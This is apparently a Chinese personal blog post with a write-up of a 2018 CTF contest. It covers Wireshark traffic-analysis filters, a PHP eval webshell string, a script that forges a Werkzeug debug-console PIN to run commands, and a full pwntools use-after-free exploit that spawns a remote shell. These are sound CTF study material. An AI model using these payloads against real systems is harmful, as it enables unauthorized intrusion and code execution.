Sky's blog

2018安恒8月赛Writeup

Word count: 1,704 / Reading time: 8 min
2018/08/25 Share

流量分析

这次流量分析不算难,可以轻易做出来
这里的记录就不仔细分析了,我还是耍了一些小聪明的
想学习的可以看我之前的文章


我就不粘链接了,懒。。。。

level-1

由于做过至少4~5次铁三的真题,所以对一般套路算是熟悉

这种要扫描器的,99%是awvs,直接交就对了,不行还能试试sqlmap也常考

level-2


这也是相对容易的题
直接过滤

1
http.request.method=="POST"

因为登录99%是post
然后即可

level-3


还是同理,过滤就完事了

1
http.request.method=="POST" and ip.src==192.168.94.59 and http contains "rec=login"

level-4


这显然还是post,过滤就完事了

1
http.request.method=="POST" and ip.src==192.168.94.59

发现小马

看到密码是1234
为了追求速度,我直接尝试

1
<?php @eval($_POST[1234]);?>

编码一下交了,就过了
想找位置的可以自己再过滤一下,我为了抢一血XD

level-5


这个就更简单了,过滤就完事了

1
http contains 'robots.txt'


点进去就是

level-6


直接看和a.php指令交互的respones即可

level-7


直接过滤就完事了

1
mysql contains 'hash_code'

随便找一个Respones点进去拉到底下就是

level-8


直接过滤就完事了

1
mysql contains 'ijnu'

随便找一个Respones点进去拉到底下就是md5
用cmd5要收费,用somd5解密即可

level-9


直接搜索

1
http contains "eth0"

就完事了

level-10


这题我以为是重复题,交了level-3的答案,直接就过了,不过分析原理应该一致

level-11/level-12

这题彩蛋,两个一样的题
过滤了一下

1
tcp


发现全是这俩ip
反正没有铁三那种次数限制,我就分别交了下
发现

1
10.3.4.3

成功

web

粗心的程序员呀

发现只有debug信息和文件读取
那么只有一个可能了,pin码执行命令
参照这篇文章

1
https://xz.aliyun.com/t/2553

即可秒掉
这里说几个坑
1.machine-id为空
2.
先知用的是py,这里要用pyc
3.username,这里读/etc/passwd可以发现ctf用户,就是它了
最后payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import hashlib
from itertools import chain
probably_public_bits = [
'ctf',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377892354'# str(uuid.getnode()), /sys/class/net/eth0/address
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

生成pin码,执行命令即可

MISC

暴力可解

很无聊的misc
题目暗示暴力可解,爆破压缩包密码即可
解开拿到两个图片,用stegsolve合并发现不行
于是很容易想到盲水印,然后就拿到flag了
都是ctf出烂的套路

Crypto

爬坡道(提交你找到的字符串的md5值)

很无聊的密码题,题目名暗示hill加密
拿到密文图片binwalk一下,发现key.png
在线解密即可

Pwn

Unote2

漏洞点在deleteNote,free掉以后没有清空指针,造成uaf

1
2
3
4
5
6
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}

addNote申请一个0x8 byte结构体,用于存放函数指针以及content,函数指针指向该处

1
2
3
4
5
6
7
8
int __cdecl sub_804865B(char *s)
{
size_t v1; // eax

v1 = strlen(s);
printf("length :%zu\ncontent :", v1);
return puts(s);
}

申请3个note,这样malloc了6个chunk,分别是

1
2
3
'A' 0x10 byte + size+0x10 byte
'B' 0x10 byte + size+0x10 byte
'C' 0x10 byte + size+0x10 byte

free掉两个

1
head -->  'A' 0x10  -->  'B' 0x10

再申请一个note,这时就把free掉的chunk重新分配回来了,合适地构造leak出libc_base。
最后伪造一个fake node,当show这个node的时候就调用了system。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.arch = 'i386'

local = 0

if local:
s = process('./note')
elf = ELF('./note')
libc = ELF('/root/toolchain/expmake/libc_x86')
else:
s = remote('101.71.29.5', 10010)
elf = ELF('./note')
libc = ELF('/root/toolchain/expmake/libc-2.23.so')

def z(a=''):
gdb.attach(cn,a)
if a == '':
raw_input()

def add(size,con):
s.sendline('1')
s.recvuntil('Note size :')
s.send(str(size))
s.recvuntil('Content :')
s.send(con)

def dele(idx):
s.sendline('2')
s.recvuntil("Index :")
s.send(str(idx))

def show(idx):
s.send('3')
s.recvuntil("Index :")
s.send(str(idx))

add(0x20,'A')
add(0x20,'B')
add(0x20,'C')

dele(1)
dele(0)

#z('b*0x08048691\nc')

add(0x8,p32(0x804865B)+p32(elf.got['puts']))

show(1)

s.recvuntil("content :")
leak = s.recv(4)

libc.address = u32(leak) - libc.symbols['puts']
log.info("libc_base:0x%x"%libc.address)

dele(3)

add(0x8,p32(libc.symbols['system'])+p32(libc.search('/bin/sh').next()))

show(1)

s.interactive()

Re

定义了 3 个函数指针,第一个是交换两个数位置,第二个返回abs(x + y) - abs(x) - abs(y) + 2,第三个返回abs(x) + abs(y) - abs(x + y) + 2,然后 strcmp 比较前 5 个字符是否是flag{,之后列了几个条件。

  • a1[7] + a1[6] == a1[8]
  • a1[10] + a1[9] == a1[11]
  • a1[13] + a1[12] == a1[14]
  • a1[16] + a1[15] == a1[17]
  • a1[19] + a1[18] == a1[20]
  • a1[8] ^ a1[11] ^ a1[14] ^ a1[17] ^ a1[21] == a1[5]
    没法直接解上面的方程,继续往下看,通过一个函数来 output一个值。
    1
    2
    3
    4
    res = 0;
    for ( i = 6; i <= 19; i += 3 )
    res = 100 * res + 10 * (*((char *)cin + i) - 48) + *((char *)cin + i + 1) - 48;
    return res;

可以看到 100 和 10 等, 很明显是 10 进制左移 2 位,左移 1 位和不左移。
再往下是依次调用三个函数,实现 exchangea[4]和 a[5],然后调用第二个,不影响。最后调用第三个,要使其返回 0 才能 getflag。
|x|+|y|>=|x+y|,所以|x|+|y|-|x+y|+2>=2无解,但右边等于0x100000000能有解,即结果溢出了,所以可以使|x|==|y|==0x7fffffff
这样就求得了两个值,即 0x7fffffff和0x80000001,然后根据 getvalue 函数的返回值确定是正数,得到 a[5]是 0x7fffffff,即 2147483647‬。然后我们反求 flag 即可。
所以 flag 的 6,7 位是 21;9,10 位是47;12,13 位是48;15,16 位是36;18,19 位是47。再根据上面的方程解出第 8,11,14,17,20 位是 cklik,最后还有第 5,21 位。猜测 flag 长度就是 22,这样 21 位是},然后得到第五位是 p。

后记

题目挺容易的,这次主要突出一个流量分析吧~

CATALOG
  1. 1. 流量分析
    1. 1.1. level-1
    2. 1.2. level-2
    3. 1.3. level-3
    4. 1.4. level-4
    5. 1.5. level-5
    6. 1.6. level-6
    7. 1.7. level-7
    8. 1.8. level-8
    9. 1.9. level-9
    10. 1.10. level-10
    11. 1.11. level-11/level-12
  2. 2. web
    1. 2.1. 粗心的程序员呀
  3. 3. MISC
    1. 3.1. 暴力可解
  4. 4. Crypto
    1. 4.1. 爬坡道(提交你找到的字符串的md5值)
  5. 5. Pwn
    1. 5.1. Unote2
  6. 6. Re
  7. 7. 后记